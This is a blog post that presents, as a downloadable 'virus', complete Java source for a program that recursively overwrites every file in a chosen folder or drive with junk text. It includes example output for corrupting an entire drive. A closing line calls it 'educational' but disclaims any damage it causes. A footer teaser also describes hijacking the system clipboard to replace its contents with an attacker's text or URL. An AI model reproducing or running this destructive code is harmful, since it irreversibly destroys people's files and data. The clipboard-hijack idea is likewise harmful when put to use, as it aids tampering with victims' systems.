Skip to main content

Hard disk corrupting virus





Are you all fed up of googling  

How to create a virus using java

Source code of virus program in java

And could't turn up except a simple hard disk flooder virus or something same of the type.
Therefore to provide you with a better virus code here Quadgen presents you with this hardisk corrupting virus.

What it can do?

This file corrupting virus made using java programming language could corrupt all the files inside a folder.
Not only only inside a folder it can corrupt all the files inside a drive or the whole hardisk.

How it works?


This java code is very simple and could corrupt a folder within no time.It simply write junk data into that file and makes that file useless.I have tested it only many file formats and it works quite well on all photo formats(i.e. png,jpeg and others), all video formats(i.e. .mp4, .flv, .avi and others) and also on formats like
.wav, .doc , pptx ,zip ,rar and many more.

So here is the complete java code

/*This program is created by shashank sahu @author Quadgen. You are free to use it anywhere you like but for any misuse neither the author nor the website will be responsible for it */

package Quadgen.virus;

import java.io.*;
import java.util.*;
public class Corrupt
{

    static PrintWriter p;
 static String filename;
    public static void main(String args[])  {
  
       Scanner sc=new Scanner(System.in);
     System.out.print("Enter the path of folder:-");   
     String path=sc.nextLine();
    try {
System.out.println("Corruption stared");
     corrupt(new File(path));
} catch (Exception e) {

e.printStackTrace();
}
    System.out.println(args+"   corrupted");
     sc.close();    

    }
    
static void corrupt(File f)
    {
     File[] paths;
        paths=f.listFiles();
      
        if(paths!=null)
        {
            int l=paths.length;   
        for(int i=0;i<l;i++)
        {
        if(paths[i].isDirectory())
            {
                corrupt(paths[i]);
            }
        
       else{ 
         try {
p=new PrintWriter(new BufferedWriter(new FileWriter(paths[i])));
     } catch (IOException e) {

e.printStackTrace();
}
           
         p.println("corrupt");
        p.close();   
        }
    }
     

}
}
}

Note:- When you will run this program then it will ask for a path if you want to corrupt the whole drive for example D:/ then you should do as follows.



OUTPUT:-


Enter the path of folder :-D:/
Corruption Started
D:/ corrupted



It might take some time to corrupt whole D drive depending on the size of it.
      

* This Virus is  for educational purpose. If Your computer gets any damage Neither The Author Nor the site is responsible for it. 



Comments

Popular posts from this blog

How to setup a .jar file in Blue-J

How to set a new package in Blue-J In this tutorial you will learn how you can setup a jar file in Blue J IDE. Follow the given steps and you could easily set it up. Let me specify that in my case we will install a jar file created my me that is utility.jar .If you are downloading other packages like Free TTS,open cv, j3d or any other then you just need to find the jar files in their folder and rest of the tutorial remain the same. Step 1:- Open blue-J Ide Open your blue j ide in my case it is Blue-J 3.1.7. Step 2:- In the top menu bar click on TOOLS and after that in the drop down menu click on PREFERENCES . Step 3 :- After clicking on preferences you will see a screen like this.      Just click on Libraries Tab.   Step 4 :- After clicking on libraries blue j will show the list of pre loaded jar files that you must be using before.On the right hand side of the window you will see ADD button just click on it. Step 5:- ...

How to setup a .jar file in Eclipse IDE

How to set a new package in Eclipse IDE In this tutorial you will learn how you can setup a jar file in Eclipse IDE. Follow the given steps and you could easily set it up. Let me specify that in my case we will install a jar file created my me that is utility.jar .If you are downloading other packages like Free TTS,open cv, j3d or any other then you just need to find the jar files in their folder and rest of the tutorial remain the same. Step 1:- Open Eclipse Ide Open your Eclipse ide in my case it is  Version: Luna Service Release 2 (4.4.2) Step 2:- In the top menu bar click on  WINDOW  menu item. And then you will see a pop up menu will appear.In the pop up menu click on  PREFERENCES  . Step 3:- Then in the next window's left hand side click on JAVA and then on  BUILD PATH   .Under build path you will see two options   classpath variables   and  User Libraries   you need to click on user...

Hijack Clipboard using java

What is Clipboard? The clipboard is a special location in your computer's memory that temporarily stores data that has been cut or copied from a document. This data can then be pasted to a new location. The clipboard will typically hold its information until you cut or copy something else, or log out of the computer. For example, a user may copy information from a word processor and paste that information into an e-mail message. What is Clipboard Hijack? A clipboard hijacking is an exploit in which the attacker gains control of the victim'sclipboard and replaces its contents with their own data, such as a link to a malicious Web site.For more details see  here . Hacking clipboard using java. Our java code will repeatedly change clipboard text with the hackers text, may be a irritating line ,or a URL to your site. We will use the Toolkit class to get the system clipboard and then we will use the Clipboard class to change the content of clipboard. ...